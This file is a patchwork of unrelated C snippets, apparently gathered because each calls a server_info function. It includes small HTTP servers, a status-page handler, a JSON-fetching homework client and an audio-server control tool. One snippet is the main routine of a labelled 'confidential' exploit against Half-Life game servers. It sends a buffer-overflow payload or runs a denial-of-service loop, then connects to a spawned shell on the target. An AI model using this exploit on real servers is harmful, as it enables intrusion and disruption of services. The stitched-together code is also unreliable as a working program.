int main() { lib_init(); socket_t * server = socket_new(); int port = 5001; if(-1 == socket_bind(server, port)) { printf("port %i is busy\n", port); exit(1); } socket_listen(server); char buf[10000]; socket_t * client = NULL; while(1) { client = socket_accept(server); socket_read(client, buf, sizeof(buf)); printf("%s",buf); if (strlen(buf) != 0){ http_request_t rs; rs = http_request_parse(buf); if (strcmp(rs.method,"GET") == 0 && strcmp(rs.uri, "/info") == 0 ) { server_info(client); } } } return 0; }
static void httpd_handler(const struct pl *uri, struct mbuf *mb) { struct pl cmd, params, r; uint32_t refresh = 0; if (re_regex(uri->p, uri->l, "/[^?]*[^]*", &cmd, ¶ms)) return; if (!re_regex(params.p, params.l, "[?&]1r=[0-9]+", NULL, &r)) refresh = pl_u32(&r); mbuf_write_str(mb, "<html>\n<head>\n"); mbuf_write_str(mb, " <title>Restund Server Status</title>\n"); if (refresh) mbuf_printf(mb, " <meta http-equiv=\"refresh\" content=\"%u\">\n", refresh); mbuf_write_str(mb, "</head>\n<body>\n"); mbuf_write_str(mb, "<h2>Restund Server Status</h2>\n"); server_info(mb); mbuf_write_str(mb, "<hr size=\"1\"/>\n<pre>\n"); restund_cmd(&cmd, mb); mbuf_write_str(mb, "</pre>\n</body>\n</html>\n"); }
void server_answer(http_request_t req, socket_t * clientSocket,lanser ** freelanser) { if (!strcmp(req.uri, "/info")) { server_info(clientSocket); } else if (!strcmp(req.uri, "/external")) { server_external(); } else if (strncmp(req.uri, "/Freelancer/api/",16)==0) { if(!strcmp(req.method,"GET")) server_GET_id(req,clientSocket,freelanser); else if(!strcmp(req.method,"DELETE")) server_DELETE_id(req,clientSocket,freelanser); else if(!strcmp(req.method,"POST")) { puts("1"); server_POST(req,clientSocket,freelanser); } } else if(!strncmp(req.uri,"/Freelancer/delete/",19)) { server_DELETE_id(req,clientSocket,freelanser); } else if(!strcmp(req.uri,"/Freelancer")) { server_start_page(clientSocket); } else if(!strcmp(req.uri,"/Freelancer/")) { server_GET_html(clientSocket,freelanser); } else if(!strcmp(req.uri,"/Freelancer/paste")) { server_Paste_html(req,clientSocket,freelanser); } else if(!strncmp(req.uri,"/Freelancer/",12)) { server_GET_id_html(req,clientSocket,freelanser); } }
int main() { lib_init(); socket_t * server = socket_new(); socket_bind(server, 5000); socket_listen(server); char buf[10000]; char pathBuf[256]; socket_t * client = NULL; while(1) { client = socket_accept(server); socket_read(client, buf, sizeof(buf)); if (strlen(buf) == 0) continue; printf(">> Got request:\n%s\n", buf); http_getPath(buf, pathBuf, sizeof(pathBuf)); http_request_t request = http_request_parse(buf); if (strcmp(request.uri, "/") == 0) { server_homepage(client); } else if (strcmp(request.uri, "/database") == 0) { server_students(client, &request); } else if (strcmp(request.uri, "/info") == 0) { server_info(client); } else if (strcmp(request.uri, "/filename") == 0) { server_file_parse(client); } else { server_notFound(client); } socket_free(client); } socket_free(server); lib_free(); return 0; }
int main( int argc , char *argv[] ) { unsigned long int addr; long int offset; int fd , usrtarg , port; fprintf( stdout , " \n\n" "PRIV8 SECURITY & UHAGr CONFIDENTIAL EXPLOIT - DO NOT DISTRIBUTE !!! \n" "Halflife <= 1.1.1.0 , 3.1.1.1c1 and 4.1.1.1a exploit \n" "Code by hkvig of UHAGr and wsxz of Priv8 Security \n" "Greetings to #priv8security & #!uhagr people \n\n" ); if( argc != 4 && argc != 5 ) { fprintf( stdout , "Usage: %s <Target id> <Host> <Offset> [<Server port>]\n\n" "Set offset to 0 if you don't like to use an offset\n\n" , argv[0] ); list(); return 0; } if( argc == 5 ) { port = atoi( argv[4] ); fprintf( stdout , "[+] Using port %d\n" , port ); } else port = DEST_PORT; usrtarg = atoi( argv[1] ); if( usrtarg >= sizeof( targets ) / sizeof( struct target ) - 1 ) { fprintf( stdout , "[-] No such target in target list\n" ); do_exit( NULL , NULL , 0 ); } offset = atoi( argv[3] ); fprintf( stdout , "[+] Using offset %#x + %#x\n" , targets[usrtarg].retaddr , offset ); bzero( &server , sizeof( struct serverinfo )); fprintf( stdout , "[+] Looking up host ip addr\n" ); addr = lookup_host( argv[2] ); sleep( 1 ); fprintf( stdout , "[+] Establishing virtual udp connection\n" ); fd = udp_connect( addr , port ); sleep( 1 ); fprintf( stdout , "[+] Getting server info\n" ); server_info( fd ); sleep( 1 ); fprintf( stdout , "[+] Server protocol %#x\n" " Players %#x\n" " Proxy %#x\n" " Lan %#x\n" " Nplayers %#x\n" " Directory %s \n" " Description %s \n" " Host %s \n" " Type %#x\n" " Pass %#x\n" " Os %#x\n" " Security %#x\n" , server.protocol , server.players , server.proxytarget , server.lan , server.nplayers , server.directory , server.description , server.host , server.type , server.pass , server.os , server.security ); sleep( 1 ); fprintf( stdout , "[+] Getting server challenge integer\n" ); server_challenge( fd ); fprintf( stdout , " Server challenge is %s\n" , server.challenge ); sleep( 1 ); if( usrtarg == ( sizeof( targets ) / sizeof( struct target )) - 2 ) { fprintf( stdout , "[+] Starting DoS attack - Ctrl+C to stop\n" ); do_dos( fd , DELAY ); } else // Real exploitation { fprintf( stdout , "[+] Exploiting halflife server\n" ); do_bof_bsd( fd , targets[usrtarg] , offset ); sleep( 1 ); close( fd ); sleep( 3 ); fprintf( stdout , "[+] Connecting to our shell\n" ); fd = tcp_connect( addr , 5074 ); send( fd , INIT , sizeof( INIT ) , 0 ); shell( fd ); } close( fd ); return 0; }
int main(void) { WSADATA Data; SOCKADDR_IN recvSockAddr; SOCKET recvSocket; int status; int numrcv = 0; struct hostent * remoteHost; char * ip; const char * host_name = "pb-homework.appspot.com"; char buffer[MAXBUFLEN]; memset(buffer,0,MAXBUFLEN); // Initialize Windows Socket DLL status = WSAStartup(MAKEWORD(2, 2), &Data); if(status != 0) { printf("ERROR: WSAStartup unsuccessful\r\n"); return 0; } // Get IP address from host name remoteHost = gethostbyname(host_name); ip = inet_ntoa(*(struct in_addr *)*remoteHost->h_addr_list); printf("IP address is: %s.\n", ip); memset(&recvSockAddr, 0, sizeof(recvSockAddr)); // zero the sockaddr_in structure recvSockAddr.sin_port=htons(PORT); // specify the port portion of the address recvSockAddr.sin_family=AF_INET; // specify the address family as Internet recvSockAddr.sin_addr.s_addr= inet_addr(ip); // specify ip address // Create socket recvSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(recvSocket == INVALID_SOCKET) { printf("ERROR: socket unsuccessful\r\n"); WSACleanup(); system("pause"); return 0; } // Connect if(connect(recvSocket,(SOCKADDR*)&recvSockAddr,sizeof(SOCKADDR_IN)) == SOCKET_ERROR) { printf("ERROR: socket could not connect\r\n"); closesocket(recvSocket); WSACleanup(); return 0; } // Send request char request[200]; sprintf(request, "GET /test/var/24?format=json HTTP/1.1\r\nHost:%s\r\n\r\n", host_name); // add Host header with host_name value send(recvSocket, request, strlen(request), 0); // Receieve numrcv = recv(recvSocket, buffer, MAXBUFLEN, NO_FLAGS_SET); if (numrcv == SOCKET_ERROR) { printf("ERROR: recvfrom unsuccessful\r\n"); status = closesocket(recvSocket); if(status == SOCKET_ERROR) printf("ERROR: closesocket unsuccessful\r\n"); status = WSACleanup(); if (status == SOCKET_ERROR) printf("ERROR: WSACleanup unsuccessful\r\n"); system("pause"); return(1); } // Print out receieved socket data printf("%s\r\n", buffer); char * json=strstr(buffer,"{"); cJSON * SI = cJSON_CreateObject(); SI=cJSON_Parse(json); author_t * author=malloc(sizeof(author_t)); author->author=malloc(strlen(cJSON_GetObjectItem(SI,"author")->valuestring)+1); strcpy(author->author,cJSON_GetObjectItem(SI,"author")->valuestring); author->quote=malloc(strlen(cJSON_GetObjectItem(SI,"quote")->valuestring)+1); strcpy(author->quote,cJSON_GetObjectItem(SI,"quote")->valuestring); time_t rawtime; struct tm * timeinfo; time ( &rawtime ); timeinfo = localtime ( &rawtime ); author->time=malloc(strlen(asctime(timeinfo))); strcpy(author->time,asctime(timeinfo)); author->time[strlen(author->time)-1]='\0'; cJSON * SM = cJSON_CreateObject(); cJSON_AddItemToObject(SM, "author", cJSON_CreateString(author->author)); cJSON_AddItemToObject(SM, "quote", cJSON_CreateString(author->quote)); cJSON_AddItemToObject(SM, "time", cJSON_CreateString(author->time)); char * jsonSM = cJSON_Print(SM); system("pause"); lib_init(); socket_t * server = socket_new(); socket_bind(server, 5000); socket_listen(server); char buf[10000]; socket_t * client = NULL; while(1) { client = socket_accept(server); socket_read(client, buf, sizeof(buf)); printf("%s",buf); if (strlen(buf) != 0){ http_request_t rs; rs = http_request_parse(buf); if (strcmp(rs.method,"GET") == 0 && strcmp(rs.uri, "/info") == 0 ) { server_info(client); } if (strcmp(rs.method,"GET") == 0 && strcmp(rs.uri, "/external") == 0 ) { server_sent(client,jsonSM); } } } system("pause"); return 0; }
int main (int argc, char * argv[]) { struct roar_connection con; char * server = NULL; char * k = NULL; int i; int t = 0; for (i = 1; i < argc; i++) { k = argv[i]; if ( strcmp(k, "--server") == 0 ) { server = argv[++i]; } else if ( strcmp(k, "-v") == 0 || strcmp(k, "--verbose") == 0 ) { g_verbose++; } else if ( strcmp(k, "--help") == 0 ) { usage(); return 0; } else if ( strcmp(k, "--list-aiprofiles") == 0 ) { list_aiprofiles(); return 0; } else if ( strcmp(k, "--enum-servers") == 0 ) { enum_servers(); return 0; } else if ( *k == '-' ) { fprintf(stderr, "Error: unknown argument: %s\n", k); usage(); return 1; } else { break; } } // connect if ( roar_simple_connect(&con, server, "roarctl") == -1 ) { fprintf(stderr, "Error: Can not connect to server\n"); return 1; } if ( i == argc ) { fprintf(stderr, "Error: No Commands given\n"); return 0; // this is not a fatal error... } for (; i < argc; i++) { k = argv[i]; // cmd is in k printf("--- [ %s ] ---\n", k); if ( !strcmp(k, "help") ) { usage(); } else if ( !strcmp(k, "sleep") ) { sleep(atoi(argv[++i])); } else if ( !strcmp(k, "ping") ) { #ifdef ROAR_HAVE_GETTIMEOFDAY if ( ping(&con, atoi(argv[++i])) == -1 ) { fprintf(stderr, "Error: can not ping\n"); } #else fprintf(stderr, "Error: ping not supported.\n"); i++; #endif } else if ( !strcmp(k, "standby") || !strcmp(k, "off") ) { if ( roar_set_standby(&con, ROAR_STANDBY_ACTIVE) == -1 ) { fprintf(stderr, "Error: can not set mode to standby\n"); } else { printf("going into standby\n"); } } else if ( !strcmp(k, "resume") || !strcmp(k, "on") ) { if ( roar_set_standby(&con, ROAR_STANDBY_INACTIVE) == -1 ) { fprintf(stderr, "Error: can not set mode to active\n"); } else { printf("going into active mode\n"); } } else if ( !strcmp(k, "exit") ) { if ( roar_terminate(&con, 0) == -1 ) { fprintf(stderr, "Error: can not quit server\n"); } else { printf("Server quited\n"); break; } } else if ( !strcmp(k, "terminate") ) { if ( roar_terminate(&con, 1) == -1 ) { fprintf(stderr, "Error: can not terminate server\n"); } else { printf("Server got asked to quited\n"); break; } } else if ( !strcmp(k, "standbymode") ) { t = roar_get_standby(&con); if ( t == -1 ) { fprintf(stderr, "Error: can not get stanby mode\n"); } else if ( t == ROAR_STANDBY_ACTIVE ) { printf("Server is in standby\n"); } else if ( t == ROAR_STANDBY_INACTIVE ) { printf("Server is active\n"); } else { fprintf(stderr, "Error: unknown standby mode: %i\n", t); } } else if ( !strcmp(k, "whoami") ) { printf("My client ID is: %i\n", roar_get_clientid(&con)); } else if ( !strcmp(k, "serverinfo") ) { server_info(&con); } else if ( !strcmp(k, "serveroinfo") ) { server_oinfo(&con); } else if ( !strcmp(k, "serverstandards") ) { server_standards(&con); } else if ( !strcmp(k, "listclients") ) { list_clients(&con); } else if ( !strcmp(k, "liststreams") ) { list_streams(&con); } else if ( !strcmp(k, "allinfo") ) { server_oinfo(&con); printf("\n"); list_clients(&con); printf("\n"); list_streams(&con); } else if ( !strcmp(k, "kick") ) { t = roar_str2ot((k = argv[++i])); if ( t == -1 ) { fprintf(stderr, "Error: unknown type: %s\n", k); continue; } //t = atoi(argv[i++]); if ( roar_kick(&con, t, atoi(argv[++i])) == -1 ) { fprintf(stderr, "Error: can not kick %s\n", k); } else { printf("%s kicked\n", k); } } else if ( !strcmp(k, "newvirtual") ) { if ( newvirtual(&con, argv[i+1], argv[i+2], argv[i+3], argv[i+4], argv[i+5], argv[i+6]) == -1 ) { fprintf(stderr, "Error: can not create new virtual stream\n"); } else { printf("virtual stream created\n"); } i += 6; } else if ( !strcmp(k, "volume") ) { if ( set_mixer(&con, &i, argc, argv) == -1 ) { fprintf(stderr, "Error: can not set volume\n"); } else { printf("volume changed\n"); } } else if ( !strcmp(k, "flag") ) { i++; if ( set_flags(&con, atoi(argv[i]), ROAR_SET_FLAG, argv[i+1]) == -1 ) { fprintf(stderr, "Error: can not set flags\n"); } else { printf("flags changed\n"); } i++; } else if ( !strcmp(k, "unflag") ) { i++; if ( set_flags(&con, atoi(argv[i]), ROAR_RESET_FLAG, argv[i+1]) == -1 ) { fprintf(stderr, "Error: can not reset flags\n"); } else { printf("flags changed\n"); } i++; } else if ( !strcmp(k, "metaset") ) { i++; if ( set_meta(&con, atoi(argv[i]), argv[i+1], argv[i+2], argv[i+3]) == -1 ) { fprintf(stderr, "Error: can not set meta data\n"); } else { printf("meta data changed\n"); } i += 3; } else if ( !strcmp(k, "metaget") ) { i++; if ( show_meta_type(&con, atoi(argv[i]), argv[i+1]) == -1 ) { fprintf(stderr, "Error: can not get meta data\n"); } i++; } else if ( !strcmp(k, "metasave") ) { i++; if ( save_meta(&con, atoi(argv[i]), argv[i+1]) == -1 ) { fprintf(stderr, "Error: can not get meta data\n"); } else { printf("meta data saved\n"); } i++; } else if ( !strcmp(k, "metaload") ) { i++; if ( load_meta(&con, atoi(argv[i]), argv[i+1]) == -1 ) { fprintf(stderr, "Error: can not set meta data\n"); } else { printf("meta data saved\n"); } i++; } else if ( !strcmp(k, "listaiprofiles") || !strcmp(k, "listprofiles") ) { if ( list_aiprofiles() == -1 ) { fprintf(stderr, "Error: can not list profiles\n"); } } else if ( !strcmp(k, "aiprofileget") || !strcmp(k, "profileget") ) { i++; if ( show_aiprofile(argv[i]) == -1 ) { fprintf(stderr, "Error: can not get profile data\n"); } } else { fprintf(stderr, "Error: invalid command: %s\n", k); } } roar_disconnect(&con); return 0; }